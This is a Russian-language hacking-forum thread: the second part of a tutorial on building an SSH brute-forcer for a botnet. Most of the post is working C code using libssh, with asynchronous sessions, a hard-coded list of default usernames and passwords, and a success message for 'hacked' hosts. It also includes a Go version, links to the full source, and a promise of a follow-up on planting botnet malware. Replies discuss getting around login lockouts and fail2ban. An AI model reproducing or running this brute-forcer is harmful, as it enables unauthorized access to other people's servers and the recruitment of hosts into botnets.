• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Сканнинг и брутфорсить SSH. #2

Писать мне статью по передаче и запуску малвари на хакнутых устройствах?

magic

HDD-drive
Пользователь
Регистрация
24.01.2023
Сообщения
22
Реакции
24
В прошлой статье тыгыдым я показал как создать сканнер SSH на C и Golang.
Сканнер давал нам IP адресса с SSH. Осталось всего лишь то их пробрутфорсить ) .

Здесь и сейчас я покажу облегченнный варинт брутфорсера SSH.
Есть два варианта написания такого кода на C: многопоточный и асинхронный(неблокирующие сокеты).
Многопоточный - много потоков, каждый поток обрабатывает отдельное соединение.
Асинхронный - один поток, но обрабатывает множество неблокирующих соединений.
Многопоточный кончено удобно, но у него будут проблемы:
статическая компиляция. Проблемы в GNU glibc и pthread, и openssl. Да, для малвари я юзаю uclibc, это облегченный вариант стандартой библиотеки C glibc, бинарники получаются легче раз в 10. Но все равно есть много непонятных ошибок(например openssl кидает SIGSEV).
Неподходит.
Готовые кросс-компиляторы uClibc можно скачать здесь https://www.uclibc.org/downloads/binaries/0.9.30.1/ Эти компиляторы юзали для сборки mirai и всего остального из дикого мира ботнетов.

Будем юзать асинхронный брутфорс. Также для брутфорса будем юзать библиотеку libssh , в ней еще есть scp и sftp (например для передачи файлов и их запуска при взломе?).
В идеале, кто хочет серьезно написать ботнет, тому придется переписать libssh для более быстрого брутфорса.

Все исходосы есть на pastebin:
(На Golang код хуже, писал по приколу больше, но оказалось что Go - Иисус для меня, а я блин атеист)
C: https://pastebin.com/6WnE0yYY
Golang: https://pastebin.com/XjCXAvCU


Первым делом посвящу в структуры и переменные сие чуда:
C:
/*state of bruteforcing */
enum      
{
  SSH_CREATED = 0,
  SSH_CONNECTING = 1,
  SSH_BRUTING = 2,
  SSH_DEAD = 3,
};
/* Node нашего списка подключенний SSH*/
struct commonssh
{
  struct sockaddr_in addr;   // оставил для удобства
  char *ip;                             // IP в строке
  uint16_t port;                     // В host порядке байтов
 
  int state, is_password_auth, tries;    //state - state of bruteforcing. is_password_auth - есть ли аутентификация по паролю на SSH. tries - попыток провала.
  time_t ltime;                                      //для timeout
  ssh_session session;
  uint16_t userInd, passInd;               //индексы в bruteUsernames и brutePasswords
  struct commonssh *next;
};

//Что то наподобие контейнера list(тольо указатель только на следующий элемент commonssh)
struct QUEUE_comonssh
{
  pthread_mutex_t m;
  struct commonssh *first, *last;
  int state, maxSize, size;
};
struct QUEUE_comonssh QUEUE_SSH;

#define SSH_CNCT_TIMEOUT 30
#define SSH_AUTH_TIMEOUT 30
#define WAIT 4

const char *bruteUsernames[] = {"root", "admin", "test", "guest", "info", "adm", "mysql", "user", "administrator", "oracle", "ftp", "pi", "puppet", "ansible", "ec2-user", "vagrant", "azureuser"};
int sizeUsernames = 17;
const char *brutePasswords[] = {"root", "toor", "raspberry", "dietpi", "test", "uploader", "password", "admin", "administrator", "marketing", "12345678", "1234", "12345", "qwerty", "webadmin", "webmaster", "maintenance", "techsupport", "letmein", "logon", "Passw@rd", "alpine"};
int sizePasswords = 22;
struct commonssh - это node списка QUEUE_SSH , описывает отдельное соединение с SSH.
Если бы я делал ботнет, я бы все пароли и usernames пустил под xor.
C:
void *loop_brute(void *pdata);
void init_brute();
#define IS_DEBUG 1
int main()
{
  scan_init();
  init_brute();
  pthread_t scan_thd, brute_thd;
  pthread_create(&scan_thd, NULL, scan_loop, NULL);
  pthread_create(&brute_thd, NULL, loop_brute, NULL);

    pthread_detach(scan_thd);
    pthread_detach(brute_thd);
#ifdef IS_DEBUG
  char pause;
  while(1){
    scanf("%c", &pause);
    system("clear");
    pthread_mutex_lock(&QUEUE_SSH.m);
    struct commonssh *cur = QUEUE_SSH.first;
    while(cur != NULL){
      printf("%s: ui: %d, pi: %d, state: %d\n", cur->ip, cur->userInd, cur->passInd, cur->state);
      cur = cur->next;
    }
    pthread_mutex_unlock(&QUEUE_SSH.m);
  }
#else
  while(1)
    sleep(1000);
#endif
}
scan_init, loop_brute это сканнер из прошлой статьи .
IS_DEBUG сделал просто для того чтобы следить как идет брутфорс.
pthread_create, pthread_detach - функции многопоточности(дааа, это жесть, Сишка странная, а курить ее еще страннее).
Один поток под сканнер, другой поток под брутфорсер(так SIGSEV я не получал при статической компиляции, проблемы часто была почему то в openSSL).
C:
//неблокирующее подключение к SSH.
int ssh_connect_nonblock(struct commonssh *cssh)
{
  if ((cssh->state == SSH_CREATED))
  {
    ssh_options_set(cssh->session, SSH_OPTIONS_HOST, cssh->ip);
    ssh_options_set(cssh->session, SSH_OPTIONS_PORT, &cssh->port);
    ssh_set_blocking(cssh->session, 0);
    cssh->state = SSH_CONNECTING;
    //cssh->ltime = time(NULL); Моя паранойя не хочет ставить это здесь, поставил ниже
  }
  if (cssh->ltime == 0)
    cssh->ltime = time(NULL);
  return ssh_connect(cssh->session);
}
/*Удаляет SSH подключение из QUEUE_SSH если (tries == -1 или tries >= 10) или переподключается */
void fuck_out(struct commonssh *prev, struct commonssh **current, int tries){
  struct commonssh *cur = (*current);
  if(tries != -1 || tries < 10 || cur == NULL || prev == NULL){
    /*Переподключение. Сюда попадаем обычно после ошибки подключения*/
    if(cur->session != NULL){
      ssh_disconnect(cur->session);
      ssh_free(cur->session);
      cur->session = NULL;
    }
    cur->state = SSH_CREATED;
    return;
  }
   /*Удаляем SSH connection  из списка*/
  pthread_mutex_lock(&(QUEUE_SSH.m));
  prev->next = cur->next;    //Если cur - первый элемент списка, то prev == cur, так что здесь не будет ошибки
  if (QUEUE_SSH.first == cur && QUEUE_SSH.last == cur)
  {
    QUEUE_SSH.first = NULL;
    QUEUE_SSH.last = NULL;
    (*current) = NULL;
  }
  else if (QUEUE_SSH.last == cur)
  {
    QUEUE_SSH.last = prev;
    (*current) = prev;
    prev->next = NULL;
  }
  else if (QUEUE_SSH.first == cur)
  {
    QUEUE_SSH.first = cur->next;
    (*current) = NULL;
  }
  else
  {
    (*current) = prev;
  }
  QUEUE_SSH.size--;
  pthread_mutex_unlock(&(QUEUE_SSH.m));
  if (cur->session != NULL)
  {
    ssh_disconnect(cur->session);
    ssh_free(cur->session);
  }
  cur->session = NULL;
  free(cur);
}
struct commonssh *getFirst()
{
  struct commonssh *ret;
  pthread_mutex_lock(&(QUEUE_SSH.m));
  ret = QUEUE_SSH.first;
  pthread_mutex_unlock(&(QUEUE_SSH.m));
  return ret;
}
void init_brute(){
  QUEUE_SSH.first = NULL;
  QUEUE_SSH.last = NULL;
  QUEUE_SSH.maxSize = SSH_SIZE_QUEUE;
  QUEUE_SSH.size = 0;
}
Воть кстати функция void addToQUEUE(struct sockaddr_in*addr) из прошлой статьи .Она просто добавляет найденный сканнером IP с SSH в наш список QUEUE_SSH.
C:
void addToQUEUE(struct sockaddr_in*addr){
  pthread_mutex_lock(&(QUEUE_SSH.m));
  if (QUEUE_SSH.size >= QUEUE_SSH.maxSize){
    pthread_mutex_unlock(&(QUEUE_SSH.m));
    return;
  }
  struct commonssh *ptr = (struct commonssh *)calloc(1, sizeof(struct commonssh));
  ptr->ip = strdup(inet_ntoa(addr->sin_addr));
  ptr->addr = (*addr);
  ptr->state = SSH_CREATED;
  ptr->port = ntohs(addr->sin_port);
  if (QUEUE_SSH.first == NULL)
    QUEUE_SSH.first = ptr;
  else
    QUEUE_SSH.last->next = ptr;
  QUEUE_SSH.last = ptr;
  QUEUE_SSH.size++;
  pthread_mutex_unlock(&(QUEUE_SSH.m));
}


И наконец то мы дошли до ядра нашего кода.
C:
void *loop_brute(void *pdata)
{
  int rc = 1, sizB = 1;
  struct commonssh *prev = NULL, *cur = NULL;
  for (;;)
  {
    cur = getFirst(); //получаем первый SSH подключение из нашего списка
    if (cur == NULL)
    {
      sleep(1);// NO IPS). Hmm, is scanner alived?
      continue;
    }
    prev = cur;
    while (cur != NULL)
    {
      switch (cur->state)
      {
      case SSH_CREATED:
      case SSH_CONNECTING:
        if(cur->session == NULL)
          cur->session = ssh_new();
        rc = ssh_connect_nonblock(cur);
        if (rc != SSH_OK)   //ошибка подключения или еще не подключились
         {
          if (( rc == SSH_AGAIN && (time(NULL) - cur->ltime >= SSH_CNCT_TIMEOUT)) || rc != SSH_AGAIN) // timeout или ошибка подключения
                 fuck_out(prev, &cur, ++cur->tries); //переподключаемся или (если tries >= 10 - удаляем соединение)
          break;
        }
        cur->ltime = 0;
        cur->state = SSH_BRUTING;
        break;
      case SSH_BRUTING:
        if(cur->ltime == 0)
          cur->ltime = time(NULL);
        rc =  ssh_userauth_password(cur->session, bruteUsernames[cur->userInd], brutePasswords[cur->passInd]);
        if(rc  == SSH_AUTH_SUCCESS){
          //HACKED
          printf("HACKED: %s:%d:%s:%s\n", inet_ntoa(cur->addr.sin_addr), cur->port, bruteUsernames[cur->userInd], brutePasswords[cur->passInd]);
          // DO something с взломанным устройством . Тут уже ваша фантазия
          fuck_out(prev, &cur, -1);
          break;
        }else if(rc == SSH_AUTH_AGAIN){
          if( (time(NULL) - cur->ltime) >= SSH_AUTH_TIMEOUT)
            fuck_out(prev, &cur, ++cur->tries);
          break;
        }else if(cur->is_password_auth == 0){    //Если SSH host не имеет auth by password, то отключаемся нафиг
          const char*err = ssh_get_error(cur->session), *err2;
          err2 = strstr(err,"for 'password'");
          if(err2!=NULL){
            if(strstr(err2, "password")!=NULL)
              cur->is_password_auth = 1;         //SSH host имеет auth by password
            else{
              fuck_out(prev, &cur, -1);   //отключаемся
              break;     
            }
          }
        }else if(rc == SSH_AUTH_ERROR){
          fuck_out(prev, &cur, ++cur->tries); //переподключаемся или удаляем подключение
          break;
        }else if(rc == SSH_AUTH_DENIED){  //неправильный пароль или username, повторите вашу попытку или идите ****  в fail2ban
          cur->passInd++;
          if(cur->passInd >= sizeUsernames){
            cur->userInd++;
            cur->passInd = 0;
            if(cur->userInd>=sizePasswords){
              fuck_out(prev, &cur, -1);
              break;
            }
          }
          //Переподключаемся
          cur->tries = 0;              //Ееее, без ошибок, обнуляем счетчик ошибок
          ssh_disconnect(cur->session);
          ssh_free(cur->session);
          cur->session = NULL;
          cur->state = SSH_CREATED;
          break;
        }
      case SSH_DEAD:      //Юзал для debug. Возможно еще понадобится?
        fuck_out(prev, &cur, -1);
        break;
      }
      if(cur != NULL){
        prev = cur;
        cur = cur->next;
      }
    }
  }
}

Чорт, я просто не знаю что здесь еще можно обьяснять, надеюсь комментарии к коду я нормально написал. Если есть какие-то вопросы - задавайте, потому что наверняка много чо упустил.

Я написал код на C, а обещал еще на Golang.
C:
var usernames []string = []string{"user", "root", "usr"}
var passwords []string = []string{"pass", "admin", "adm"}

func brutingSSH(target string) {
    checked_password := 0
    for _, u := range usernames {
        for _, p := range passwords {
            config := &ssh.ClientConfig{
                User: u,
                Auth: []ssh.AuthMethod{
                    ssh.Password(p),
                },
                HostKeyCallback: ssh.InsecureIgnoreHostKey(),
            }
            conn, err := ssh.Dial("tcp", target, config)
            if err != nil {
                if checked_password == 0 {
                    if strings.Contains(err.Error(), "password") {
                        checked_password = 1
                    } else {
                        return
                    }
                }
                fmt.Printf("error: %s\n", err)
                continue
            }
            //HACKED
            fmt.Printf("HAcKeD: %s@%s , pass: %s\n", u, target, p)
            //Do smth
            conn.Close()
        }
    }
}

ДА это весь код брутфорсера на Golang. Только здесь нет timeout, но да ладно.
При этом статически и кроссплатформенно скомпилировать код на Golang - не проблема. Нооооо, чорт, бинарники получаются ограменными, по 6-10 мегабайт.
Да, весь упор я делал на Сишке, потому что потому. Но на Golang проще, удобнее и быстрее (в разы удобнее!!!).
Выбирать вам впринципе, если бы я хотел сделать что то меньше чем за неделю-месяц, я бы выбрал Golang.

Написать ли мне статью по проникновению на host взломанной жертвы и запуску там нашей малвари ботнета(добавление в автозапуск, P2P сеть мб реализовать?) ?
Задавайте вопросы если что то непотятно. Всех целую, всех люблю ❤️
UDP. Брутфорсер на C много жрет так как нет usleep(грубо говоря он может проверять соединение раз 1000 в миллисекунду, а этого не нужно)
 
Последнее редактирование:
С начала надо было изучить механизм авторизации ssh. Там автобан после нескольких попыток. ssh брутить это гиблое дело.
Да, если не отключаться от ssh при каждом провале(не более max fails в одной сессии).
Либо ты наткнулся на fail2ban
 
Да, если не отключаться от ssh при каждом провале(не более max fails в одной сессии).
Либо ты наткнулся на fail2ban
Так зачем каждый раз переподключаться, если дает (по дефолту) ввести 6 паролей на одном коннекте.
 
Так зачем каждый раз переподключаться, если дает (по дефолту) ввести 6 паролей на одном коннекте.
И как только мой корешь брутил софтом от z666 дахуя ssh? И вообще зачем тогда создавать софт для брута ssh если брутить его гиблое дело?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх